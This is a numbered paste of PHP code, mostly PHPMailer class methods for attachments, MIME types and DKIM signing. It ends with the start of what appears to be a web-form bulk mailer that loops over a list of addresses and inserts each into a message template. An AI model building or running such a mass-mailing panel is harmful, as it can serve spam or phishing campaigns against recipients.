  3969. $matches = array();
  3970. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  3971. // If the string contains an '=', make sure it's the first thing we replace
  3972. // so as to avoid double-encoding
  3973. $eqkey = array_search('=', $matches[0]);
  3974. if (false !== $eqkey) {
  3975. unset($matches[0][$eqkey]);
  3976. array_unshift($matches[0], '=');
  3977. }
  3978. foreach (array_unique($matches[0]) as $char) {
  3979. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  3980. }
  3981. }
  3982. // Replace every spaces to _ (more readable than =20)
  3983. return str_replace(' ', '_', $encoded);
  3984. }
  3985.  
  3986.  
  3987. /**
  3988. * Add a string or binary attachment (non-filesystem).
  3989. * This method can be used to attach ascii or binary data,
  3990. * such as a BLOB record from a database.
  3991. * @param string $string String attachment data.
  3992. * @param string $filename Name of the attachment.
  3993. * @param string $encoding File encoding (see $Encoding).
  3994. * @param string $type File extension (MIME) type.
  3995. * @param string $disposition Disposition to use
  3996. * @return void
  3997. */
  3998. public function addStringAttachment(
  3999. $string,
  4000. $filename,
  4001. $encoding = 'base64',
  4002. $type = '',
  4003. $disposition = 'attachment'
  4004. ) {
  4005. // If a MIME type is not specified, try to work it out from the file name
  4006. if ($type == '') {
  4007. $type = self::filenameToType($filename);
  4008. }
  4009. // Append to $attachment array
  4010. $this->attachment[] = array(
  4011. 0 => $string,
  4012. 1 => $filename,
  4013. 2 => basename($filename),
  4014. 3 => $encoding,
  4015. 4 => $type,
  4016. 5 => true, // isStringAttachment
  4017. 6 => $disposition,
  4018. 7 => 0
  4019. );
  4020. }
  4021.  
  4022. /**
  4023. * Add an embedded (inline) attachment from a file.
  4024. * This can include images, sounds, and just about any other document type.
  4025. * These differ from 'regular' attachments in that they are intended to be
  4026. * displayed inline with the message, not just attached for download.
  4027. * This is used in HTML messages that embed the images
  4028. * the HTML refers to using the $cid value.
  4029. * @param string $path Path to the attachment.
  4030. * @param string $cid Content ID of the attachment; Use this to reference
  4031. * the content when using an embedded image in HTML.
  4032. * @param string $name Overrides the attachment name.
  4033. * @param string $encoding File encoding (see $Encoding).
  4034. * @param string $type File MIME type.
  4035. * @param string $disposition Disposition to use
  4036. * @return boolean True on successfully adding an attachment
  4037. */
  4038. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  4039. {
  4040. if (!@is_file($path)) {
  4041. $this->setError($this->lang('file_access') . $path);
  4042. return false;
  4043. }
  4044.  
  4045. // If a MIME type is not specified, try to work it out from the file name
  4046. if ($type == '') {
  4047. $type = self::filenameToType($path);
  4048. }
  4049.  
  4050. $filename = basename($path);
  4051. if ($name == '') {
  4052. $name = $filename;
  4053. }
  4054.  
  4055. // Append to $attachment array
  4056. $this->attachment[] = array(
  4057. 0 => $path,
  4058. 1 => $filename,
  4059. 2 => $name,
  4060. 3 => $encoding,
  4061. 4 => $type,
  4062. 5 => false, // isStringAttachment
  4063. 6 => $disposition,
  4064. 7 => $cid
  4065. );
  4066. return true;
  4067. }
  4068.  
  4069. /**
  4070. * Add an embedded stringified attachment.
  4071. * This can include images, sounds, and just about any other document type.
  4072. * Be sure to set the $type to an image type for images:
  4073. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  4074. * @param string $string The attachment binary data.
  4075. * @param string $cid Content ID of the attachment; Use this to reference
  4076. * the content when using an embedded image in HTML.
  4077. * @param string $name
  4078. * @param string $encoding File encoding (see $Encoding).
  4079. * @param string $type MIME type.
  4080. * @param string $disposition Disposition to use
  4081. * @return boolean True on successfully adding an attachment
  4082. */
  4083. public function addStringEmbeddedImage(
  4084. $string,
  4085. $cid,
  4086. $name = '',
  4087. $encoding = 'base64',
  4088. $type = '',
  4089. $disposition = 'inline'
  4090. ) {
  4091. // If a MIME type is not specified, try to work it out from the name
  4092. if ($type == '') {
  4093. $type = self::filenameToType($name);
  4094. }
  4095.  
  4096. // Append to $attachment array
  4097. $this->attachment[] = array(
  4098. 0 => $string,
  4099. 1 => $name,
  4100. 2 => $name,
  4101. 3 => $encoding,
  4102. 4 => $type,
  4103. 5 => true, // isStringAttachment
  4104. 6 => $disposition,
  4105. 7 => $cid
  4106. );
  4107. return true;
  4108. }
  4109.  
  4110. /**
  4111. * Check if an inline attachment is present.
  4112. * @access public
  4113. * @return boolean
  4114. */
  4115. public function inlineImageExists()
  4116. {
  4117. foreach ($this->attachment as $attachment) {
  4118. if ($attachment[6] == 'inline') {
  4119. return true;
  4120. }
  4121. }
  4122. return false;
  4123. }
  4124.  
  4125. /**
  4126. * Check if an attachment (non-inline) is present.
  4127. * @return boolean
  4128. */
  4129. public function attachmentExists()
  4130. {
  4131. foreach ($this->attachment as $attachment) {
  4132. if ($attachment[6] == 'attachment') {
  4133. return true;
  4134. }
  4135. }
  4136. return false;
  4137. }
  4138.  
  4139. /**
  4140. * Check if this message has an alternative body set.
  4141. * @return boolean
  4142. */
  4143. public function alternativeExists()
  4144. {
  4145. return !empty($this->AltBody);
  4146. }
  4147.  
  4148. /**
  4149. * Clear all To recipients.
  4150. * @return void
  4151. */
  4152. public function clearAddresses()
  4153. {
  4154. foreach ($this->to as $to) {
  4155. unset($this->all_recipients[strtolower($to[0])]);
  4156. }
  4157. $this->to = array();
  4158. }
  4159.  
  4160. /**
  4161. * Clear all CC recipients.
  4162. * @return void
  4163. */
  4164. public function clearCCs()
  4165. {
  4166. foreach ($this->cc as $cc) {
  4167. unset($this->all_recipients[strtolower($cc[0])]);
  4168. }
  4169. $this->cc = array();
  4170. }
  4171.  
  4172. /**
  4173. * Clear all BCC recipients.
  4174. * @return void
  4175. */
  4176. public function clearBCCs()
  4177. {
  4178. foreach ($this->bcc as $bcc) {
  4179. unset($this->all_recipients[strtolower($bcc[0])]);
  4180. }
  4181. $this->bcc = array();
  4182. }
  4183.  
  4184. /**
  4185. * Clear all ReplyTo recipients.
  4186. * @return void
  4187. */
  4188. public function clearReplyTos()
  4189. {
  4190. $this->ReplyTo = array();
  4191. }
  4192.  
  4193. /**
  4194. * Clear all recipient types.
  4195. * @return void
  4196. */
  4197. public function clearAllRecipients()
  4198. {
  4199. $this->to = array();
  4200. $this->cc = array();
  4201. $this->bcc = array();
  4202. $this->all_recipients = array();
  4203. }
  4204.  
  4205. /**
  4206. * Clear all filesystem, string, and binary attachments.
  4207. * @return void
  4208. */
  4209. public function clearAttachments()
  4210. {
  4211. $this->attachment = array();
  4212. }
  4213.  
  4214. /**
  4215. * Clear all custom headers.
  4216. * @return void
  4217. */
  4218. public function clearCustomHeaders()
  4219. {
  4220. $this->CustomHeader = array();
  4221. }
  4222.  
  4223. /**
  4224. * Add an error message to the error container.
  4225. * @access protected
  4226. * @param string $msg
  4227. * @return void
  4228. */
  4229. protected function setError($msg)
  4230. {
  4231. $this->error_count++;
  4232. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  4233. $lasterror = $this->smtp->getError();
  4234. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  4235. $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  4236. }
  4237. }
  4238. $this->ErrorInfo = $msg;
  4239. }
  4240.  
  4241. /**
  4242. * Return an RFC 822 formatted date.
  4243. * @access public
  4244. * @return string
  4245. * @static
  4246. */
  4247. public static function rfcDate()
  4248. {
  4249. // Set the time zone to whatever the default is to avoid 500 errors
  4250. // Will default to UTC if it's not set properly in php.ini
  4251. date_default_timezone_set(@date_default_timezone_get());
  4252. return date('D, j M Y H:i:s O');
  4253. }
  4254.  
  4255. /**
  4256. * Get the server hostname.
  4257. * Returns 'localhost.localdomain' if unknown.
  4258. * @access protected
  4259. * @return string
  4260. */
  4261. protected function serverHostname()
  4262. {
  4263. $result = 'localhost.localdomain';
  4264. if (!empty($this->Hostname)) {
  4265. $result = $this->Hostname;
  4266. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  4267. $result = $_SERVER['SERVER_NAME'];
  4268. } elseif (function_exists('gethostname') && gethostname() !== false) {
  4269. $result = gethostname();
  4270. } elseif (php_uname('n') !== false) {
  4271. $result = php_uname('n');
  4272. }
  4273. return $result;
  4274. }
  4275.  
  4276. /**
  4277. * Get an error message in the current language.
  4278. * @access protected
  4279. * @param string $key
  4280. * @return string
  4281. */
  4282. protected function lang($key)
  4283. {
  4284. if (count($this->language) < 1) {
  4285. $this->setLanguage('en'); // set the default language
  4286. }
  4287.  
  4288. if (isset($this->language[$key])) {
  4289. return $this->language[$key];
  4290. } else {
  4291. return 'Language string failed to load: ' . $key;
  4292. }
  4293. }
  4294.  
  4295. /**
  4296. * Check if an error occurred.
  4297. * @access public
  4298. * @return boolean True if an error did occur.
  4299. */
  4300. public function isError()
  4301. {
  4302. return ($this->error_count > 0);
  4303. }
  4304.  
  4305. /**
  4306. * Ensure consistent line endings in a string.
  4307. * Changes every end of line from CRLF, CR or LF to $this->LE.
  4308. * @access public
  4309. * @param string $str String to fixEOL
  4310. * @return string
  4311. */
  4312. public function fixEOL($str)
  4313. {
  4314. // Normalise to \n
  4315. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  4316. // Now convert LE as needed
  4317. if ($this->LE !== "\n") {
  4318. $nstr = str_replace("\n", $this->LE, $nstr);
  4319. }
  4320. return $nstr;
  4321. }
  4322.  
  4323. /**
  4324. * Add a custom header.
  4325. * $name value can be overloaded to contain
  4326. * both header name and value (name:value)
  4327. * @access public
  4328. * @param string $name Custom header name
  4329. * @param string $value Header value
  4330. * @return void
  4331. */
  4332. public function addCustomHeader($name, $value = null)
  4333. {
  4334. if ($value === null) {
  4335. // Value passed in as name:value
  4336. $this->CustomHeader[] = explode(':', $name, 2);
  4337. } else {
  4338. $this->CustomHeader[] = array($name, $value);
  4339. }
  4340. }
  4341.  
  4342. /**
  4343. * Create a message from an HTML string.
  4344. * Automatically makes modifications for inline images and backgrounds
  4345. * and creates a plain-text version by converting the HTML.
  4346. * Overwrites any existing values in $this->Body and $this->AltBody
  4347. * @access public
  4348. * @param string $message HTML message string
  4349. * @param string $basedir baseline directory for path
  4350. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  4351. * or your own custom converter @see html2text()
  4352. * @return string $message
  4353. */
  4354. public function msgHTML($message, $basedir = '', $advanced = false)
  4355. {
  4356. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  4357. if (isset($images[2])) {
  4358. foreach ($images[2] as $imgindex => $url) {
  4359. // Convert data URIs into embedded images
  4360. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  4361. $data = substr($url, strpos($url, ','));
  4362. if ($match[2]) {
  4363. $data = base64_decode($data);
  4364. } else {
  4365. $data = rawurldecode($data);
  4366. }
  4367. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  4368. if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  4369. $message = str_replace(
  4370. $images[0][$imgindex],
  4371. $images[1][$imgindex] . '="cid:' . $cid . '"',
  4372. $message
  4373. );
  4374. }
  4375. } elseif (!preg_match('#^[A-z]+://#', $url)) {
  4376. // Do not change urls for absolute images (thanks to corvuscorax)
  4377. $filename = basename($url);
  4378. $directory = dirname($url);
  4379. if ($directory == '.') {
  4380. $directory = '';
  4381. }
  4382. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  4383. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  4384. $basedir .= '/';
  4385. }
  4386. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  4387. $directory .= '/';
  4388. }
  4389. if ($this->addEmbeddedImage(
  4390. $basedir . $directory . $filename,
  4391. $cid,
  4392. $filename,
  4393. 'base64',
  4394. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  4395. )
  4396. ) {
  4397. $message = preg_replace(
  4398. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  4399. $images[1][$imgindex] . '="cid:' . $cid . '"',
  4400. $message
  4401. );
  4402. }
  4403. }
  4404. }
  4405. }
  4406. $this->isHTML(true);
  4407. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  4408. $this->Body = $this->normalizeBreaks($message);
  4409. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  4410. if (empty($this->AltBody)) {
  4411. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  4412. self::CRLF . self::CRLF;
  4413. }
  4414. return $this->Body;
  4415. }
  4416.  
  4417. /**
  4418. * Convert an HTML string into plain text.
  4419. * This is used by msgHTML().
  4420. * Note - older versions of this function used a bundled advanced converter
  4421. * which was been removed for license reasons in #232
  4422. * Example usage:
  4423. * <code>
  4424. * // Use default conversion
  4425. * $plain = $mail->html2text($html);
  4426. * // Use your own custom converter
  4427. * $plain = $mail->html2text($html, function($html) {
  4428. * $converter = new MyHtml2text($html);
  4429. * return $converter->get_text();
  4430. * });
  4431. * </code>
  4432. * @param string $html The HTML text to convert
  4433. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  4434. * or provide your own callable for custom conversion.
  4435. * @return string
  4436. */
  4437. public function html2text($html, $advanced = false)
  4438. {
  4439. if (is_callable($advanced)) {
  4440. return call_user_func($advanced, $html);
  4441. }
  4442. return html_entity_decode(
  4443. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  4444. ENT_QUOTES,
  4445. $this->CharSet
  4446. );
  4447. }
  4448.  
  4449. /**
  4450. * Get the MIME type for a file extension.
  4451. * @param string $ext File extension
  4452. * @access public
  4453. * @return string MIME type of file.
  4454. * @static
  4455. */
  4456. public static function _mime_types($ext = '')
  4457. {
  4458. $mimes = array(
  4459. 'xl' => 'application/excel',
  4460. 'js' => 'application/javascript',
  4461. 'hqx' => 'application/mac-binhex40',
  4462. 'cpt' => 'application/mac-compactpro',
  4463. 'bin' => 'application/macbinary',
  4464. 'doc' => 'application/msword',
  4465. 'word' => 'application/msword',
  4466. 'class' => 'application/octet-stream',
  4467. 'dll' => 'application/octet-stream',
  4468. 'dms' => 'application/octet-stream',
  4469. 'exe' => 'application/octet-stream',
  4470. 'lha' => 'application/octet-stream',
  4471. 'lzh' => 'application/octet-stream',
  4472. 'psd' => 'application/octet-stream',
  4473. 'sea' => 'application/octet-stream',
  4474. 'so' => 'application/octet-stream',
  4475. 'oda' => 'application/oda',
  4476. 'pdf' => 'application/pdf',
  4477. 'ai' => 'application/postscript',
  4478. 'eps' => 'application/postscript',
  4479. 'ps' => 'application/postscript',
  4480. 'smi' => 'application/smil',
  4481. 'smil' => 'application/smil',
  4482. 'mif' => 'application/vnd.mif',
  4483. 'xls' => 'application/vnd.ms-excel',
  4484. 'ppt' => 'application/vnd.ms-powerpoint',
  4485. 'wbxml' => 'application/vnd.wap.wbxml',
  4486. 'wmlc' => 'application/vnd.wap.wmlc',
  4487. 'dcr' => 'application/x-director',
  4488. 'dir' => 'application/x-director',
  4489. 'dxr' => 'application/x-director',
  4490. 'dvi' => 'application/x-dvi',
  4491. 'gtar' => 'application/x-gtar',
  4492. 'php3' => 'application/x-httpd-php',
  4493. 'php4' => 'application/x-httpd-php',
  4494. 'php' => 'application/x-httpd-php',
  4495. 'phtml' => 'application/x-httpd-php',
  4496. 'phps' => 'application/x-httpd-php-source',
  4497. 'swf' => 'application/x-shockwave-flash',
  4498. 'sit' => 'application/x-stuffit',
  4499. 'tar' => 'application/x-tar',
  4500. 'tgz' => 'application/x-tar',
  4501. 'xht' => 'application/xhtml+xml',
  4502. 'xhtml' => 'application/xhtml+xml',
  4503. 'zip' => 'application/zip',
  4504. 'mid' => 'audio/midi',
  4505. 'midi' => 'audio/midi',
  4506. 'mp2' => 'audio/mpeg',
  4507. 'mp3' => 'audio/mpeg',
  4508. 'mpga' => 'audio/mpeg',
  4509. 'aif' => 'audio/x-aiff',
  4510. 'aifc' => 'audio/x-aiff',
  4511. 'aiff' => 'audio/x-aiff',
  4512. 'ram' => 'audio/x-pn-realaudio',
  4513. 'rm' => 'audio/x-pn-realaudio',
  4514. 'rpm' => 'audio/x-pn-realaudio-plugin',
  4515. 'ra' => 'audio/x-realaudio',
  4516. 'wav' => 'audio/x-wav',
  4517. 'bmp' => 'image/bmp',
  4518. 'gif' => 'image/gif',
  4519. 'jpeg' => 'image/jpeg',
  4520. 'jpe' => 'image/jpeg',
  4521. 'jpg' => 'image/jpeg',
  4522. 'png' => 'image/png',
  4523. 'tiff' => 'image/tiff',
  4524. 'tif' => 'image/tiff',
  4525. 'eml' => 'message/rfc822',
  4526. 'css' => 'text/css',
  4527. 'html' => 'text/html',
  4528. 'htm' => 'text/html',
  4529. 'shtml' => 'text/html',
  4530. 'log' => 'text/plain',
  4531. 'text' => 'text/plain',
  4532. 'txt' => 'text/plain',
  4533. 'rtx' => 'text/richtext',
  4534. 'rtf' => 'text/rtf',
  4535. 'vcf' => 'text/vcard',
  4536. 'vcard' => 'text/vcard',
  4537. 'xml' => 'text/xml',
  4538. 'xsl' => 'text/xml',
  4539. 'mpeg' => 'video/mpeg',
  4540. 'mpe' => 'video/mpeg',
  4541. 'mpg' => 'video/mpeg',
  4542. 'mov' => 'video/quicktime',
  4543. 'qt' => 'video/quicktime',
  4544. 'rv' => 'video/vnd.rn-realvideo',
  4545. 'avi' => 'video/x-msvideo',
  4546. 'movie' => 'video/x-sgi-movie'
  4547. );
  4548. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  4549. }
  4550.  
  4551. /**
  4552. * Map a file name to a MIME type.
  4553. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  4554. * @param string $filename A file name or full path, does not need to exist as a file
  4555. * @return string
  4556. * @static
  4557. */
  4558. public static function filenameToType($filename)
  4559. {
  4560. // In case the path is a URL, strip any query string before getting extension
  4561. $qpos = strpos($filename, '?');
  4562. if (false !== $qpos) {
  4563. $filename = substr($filename, 0, $qpos);
  4564. }
  4565. $pathinfo = self::mb_pathinfo($filename);
  4566. return self::_mime_types($pathinfo['extension']);
  4567. }
  4568.  
  4569. /**
  4570. * Multi-byte-safe pathinfo replacement.
  4571. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  4572. * Works similarly to the one in PHP >= 5.2.0
  4573. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  4574. * @param string $path A filename or path, does not need to exist as a file
  4575. * @param integer|string $options Either a PATHINFO_* constant,
  4576. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  4577. * @return string|array
  4578. * @static
  4579. */
  4580. public static function mb_pathinfo($path, $options = null)
  4581. {
  4582. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  4583. $pathinfo = array();
  4584. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  4585. if (array_key_exists(1, $pathinfo)) {
  4586. $ret['dirname'] = $pathinfo[1];
  4587. }
  4588. if (array_key_exists(2, $pathinfo)) {
  4589. $ret['basename'] = $pathinfo[2];
  4590. }
  4591. if (array_key_exists(5, $pathinfo)) {
  4592. $ret['extension'] = $pathinfo[5];
  4593. }
  4594. if (array_key_exists(3, $pathinfo)) {
  4595. $ret['filename'] = $pathinfo[3];
  4596. }
  4597. }
  4598. switch ($options) {
  4599. case PATHINFO_DIRNAME:
  4600. case 'dirname':
  4601. return $ret['dirname'];
  4602. case PATHINFO_BASENAME:
  4603. case 'basename':
  4604. return $ret['basename'];
  4605. case PATHINFO_EXTENSION:
  4606. case 'extension':
  4607. return $ret['extension'];
  4608. case PATHINFO_FILENAME:
  4609. case 'filename':
  4610. return $ret['filename'];
  4611. default:
  4612. return $ret;
  4613. }
  4614. }
  4615.  
  4616. /**
  4617. * Set or reset instance properties.
  4618. *
  4619. * Usage Example:
  4620. * $page->set('X-Priority', '3');
  4621. *
  4622. * @access public
  4623. * @param string $name
  4624. * @param mixed $value
  4625. * NOTE: will not work with arrays, there are no arrays to set/reset
  4626. * @throws phpmailerException
  4627. * @return boolean
  4628. * @TODO Should this not be using __set() magic function?
  4629. */
  4630. public function set($name, $value = '')
  4631. {
  4632. try {
  4633. if (isset($this->$name)) {
  4634. $this->$name = $value;
  4635. } else {
  4636. throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  4637. }
  4638. } catch (Exception $exc) {
  4639. $this->setError($exc->getMessage());
  4640. if ($exc->getCode() == self::STOP_CRITICAL) {
  4641. return false;
  4642. }
  4643. }
  4644. return true;
  4645. }
  4646.  
  4647. /**
  4648. * Strip newlines to prevent header injection.
  4649. * @access public
  4650. * @param string $str
  4651. * @return string
  4652. */
  4653. public function secureHeader($str)
  4654. {
  4655. return trim(str_replace(array("\r", "\n"), '', $str));
  4656. }
  4657.  
  4658. /**
  4659. * Normalize line breaks in a string.
  4660. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  4661. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  4662. * @param string $text
  4663. * @param string $breaktype What kind of line break to use, defaults to CRLF
  4664. * @return string
  4665. * @access public
  4666. * @static
  4667. */
  4668. public static function normalizeBreaks($text, $breaktype = "\r\n")
  4669. {
  4670. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  4671. }
  4672.  
  4673.  
  4674. /**
  4675. * Set the public and private key files and password for S/MIME signing.
  4676. * @access public
  4677. * @param string $cert_filename
  4678. * @param string $key_filename
  4679. * @param string $key_pass Password for private key
  4680. */
  4681. public function sign($cert_filename, $key_filename, $key_pass)
  4682. {
  4683. $this->sign_cert_file = $cert_filename;
  4684. $this->sign_key_file = $key_filename;
  4685. $this->sign_key_pass = $key_pass;
  4686. }
  4687.  
  4688. /**
  4689. * Quoted-Printable-encode a DKIM header.
  4690. * @access public
  4691. * @param string $txt
  4692. * @return string
  4693. */
  4694. public function DKIM_QP($txt)
  4695. {
  4696. $line = '';
  4697. for ($i = 0; $i < strlen($txt); $i++) {
  4698. $ord = ord($txt[$i]);
  4699. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  4700. $line .= $txt[$i];
  4701. } else {
  4702. $line .= '=' . sprintf('%02X', $ord);
  4703. }
  4704. }
  4705. return $line;
  4706. }
  4707.  
  4708. /**
  4709. * Generate a DKIM signature.
  4710. * @access public
  4711. * @param string $signHeader
  4712. * @throws phpmailerException
  4713. * @return string
  4714. */
  4715. public function DKIM_Sign($signHeader)
  4716. {
  4717. if (!defined('PKCS7_TEXT')) {
  4718. if ($this->exceptions) {
  4719. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  4720. }
  4721. return '';
  4722. }
  4723. $privKeyStr = file_get_contents($this->DKIM_private);
  4724. if ($this->DKIM_passphrase != '') {
  4725. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  4726. } else {
  4727. $privKey = $privKeyStr;
  4728. }
  4729. if (openssl_sign($signHeader, $signature, $privKey)) {
  4730. return base64_encode($signature);
  4731. }
  4732. return '';
  4733. }
  4734.  
  4735. /**
  4736. * Generate a DKIM canonicalization header.
  4737. * @access public
  4738. * @param string $signHeader Header
  4739. * @return string
  4740. */
  4741. public function DKIM_HeaderC($signHeader)
  4742. {
  4743. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  4744. $lines = explode("\r\n", $signHeader);
  4745. foreach ($lines as $key => $line) {
  4746. list($heading, $value) = explode(':', $line, 2);
  4747. $heading = strtolower($heading);
  4748. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  4749. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  4750. }
  4751. $signHeader = implode("\r\n", $lines);
  4752. return $signHeader;
  4753. }
  4754.  
  4755. /**
  4756. * Generate a DKIM canonicalization body.
  4757. * @access public
  4758. * @param string $body Message Body
  4759. * @return string
  4760. */
  4761. public function DKIM_BodyC($body)
  4762. {
  4763. if ($body == '') {
  4764. return "\r\n";
  4765. }
  4766. // stabilize line endings
  4767. $body = str_replace("\r\n", "\n", $body);
  4768. $body = str_replace("\n", "\r\n", $body);
  4769. // END stabilize line endings
  4770. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  4771. $body = substr($body, 0, strlen($body) - 2);
  4772. }
  4773. return $body;
  4774. }
  4775.  
  4776. /**
  4777. * Create the DKIM header and body in a new message header.
  4778. * @access public
  4779. * @param string $headers_line Header lines
  4780. * @param string $subject Subject
  4781. * @param string $body Body
  4782. * @return string
  4783. */
  4784. public function DKIM_Add($headers_line, $subject, $body)
  4785. {
  4786. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  4787. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  4788. $DKIMquery = 'dns/txt'; // Query method
  4789. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  4790. $subject_header = "Subject: $subject";
  4791. $headers = explode($this->LE, $headers_line);
  4792. $from_header = '';
  4793. $to_header = '';
  4794. $current = '';
  4795. foreach ($headers as $header) {
  4796. if (strpos($header, 'From:') === 0) {
  4797. $from_header = $header;
  4798. $current = 'from_header';
  4799. } elseif (strpos($header, 'To:') === 0) {
  4800. $to_header = $header;
  4801. $current = 'to_header';
  4802. } else {
  4803. if ($current && strpos($header, ' =?') === 0) {
  4804. $current .= $header;
  4805. } else {
  4806. $current = '';
  4807. }
  4808. }
  4809. }
  4810. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  4811. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  4812. $subject = str_replace(
  4813. '|',
  4814. '=7C',
  4815. $this->DKIM_QP($subject_header)
  4816. ); // Copied header fields (dkim-quoted-printable)
  4817. $body = $this->DKIM_BodyC($body);
  4818. $DKIMlen = strlen($body); // Length of body
  4819. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  4820. $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  4821. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  4822. $DKIMsignatureType . '; q=' .
  4823. $DKIMquery . '; l=' .
  4824. $DKIMlen . '; s=' .
  4825. $this->DKIM_selector .
  4826. ";\r\n" .
  4827. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  4828. "\th=From:To:Subject;\r\n" .
  4829. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  4830. "\tz=$from\r\n" .
  4831. "\t|$to\r\n" .
  4832. "\t|$subject;\r\n" .
  4833. "\tbh=" . $DKIMb64 . ";\r\n" .
  4834. "\tb=";
  4835. $toSign = $this->DKIM_HeaderC(
  4836. $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  4837. );
  4838. $signed = $this->DKIM_Sign($toSign);
  4839. return $dkimhdrs . $signed . "\r\n";
  4840. }
  4841.  
  4842. /**
  4843. * Allows for public read access to 'to' property.
  4844. * @access public
  4845. * @return array
  4846. */
  4847. public function getToAddresses()
  4848. {
  4849. return $this->to;
  4850. }
  4851.  
  4852. /**
  4853. * Allows for public read access to 'cc' property.
  4854. * @access public
  4855. * @return array
  4856. */
  4857. public function getCcAddresses()
  4858. {
  4859. return $this->cc;
  4860. }
  4861.  
  4862. /**
  4863. * Allows for public read access to 'bcc' property.
  4864. * @access public
  4865. * @return array
  4866. */
  4867. public function getBccAddresses()
  4868. {
  4869. return $this->bcc;
  4870. }
  4871.  
  4872. /**
  4873. * Allows for public read access to 'ReplyTo' property.
  4874. * @access public
  4875. * @return array
  4876. */
  4877. public function getReplyToAddresses()
  4878. {
  4879. return $this->ReplyTo;
  4880. }
  4881.  
  4882. /**
  4883. * Allows for public read access to 'all_recipients' property.
  4884. * @access public
  4885. * @return array
  4886. */
  4887. public function getAllRecipientAddresses()
  4888. {
  4889. return $this->all_recipients;
  4890. }
  4891.  
  4892. /**
  4893. * Perform a callback.
  4894. * @param boolean $isSent
  4895. * @param array $to
  4896. * @param array $cc
  4897. * @param array $bcc
  4898. * @param string $subject
  4899. * @param string $body
  4900. * @param string $from
  4901. */
  4902. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  4903. {
  4904. if (!empty($this->action_function) && is_callable($this->action_function)) {
  4905. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  4906. call_user_func_array($this->action_function, $params);
  4907. }
  4908. }
  4909. }
  4910.  
  4911. /**
  4912. * PHPMailer exception handler
  4913. * @package PHPMailer
  4914. */
  4915. class phpmailerException extends Exception
  4916. {
  4917. /**
  4918. * Prettify error message output
  4919. * @return string
  4920. */
  4921. public function errorMessage()
  4922. {
  4923. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  4924. return $errorMsg;
  4925. }
  4926. }
  4927.  
  4928. if(!empty($_POST['wait']) && $_POST['wait'] > 0){
  4929. set_time_limit(intval($_POST['wait'])*$numemails*3600);
  4930. } else {
  4931. set_time_limit($numemails*3600);
  4932. }
  4933.  
  4934. $defaultport="H*";
  4935. $nq=0;
  4936.  
  4937. print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
  4938. for($x=0; $x<$numemails; $x++){
  4939.  
  4940. $to = $allemails[$x];
  4941. if ($to){
  4942. $todo = ereg_replace(" ", "", $to);
  4943. $message_send = ereg_replace("&email&", $todo, $pesan);
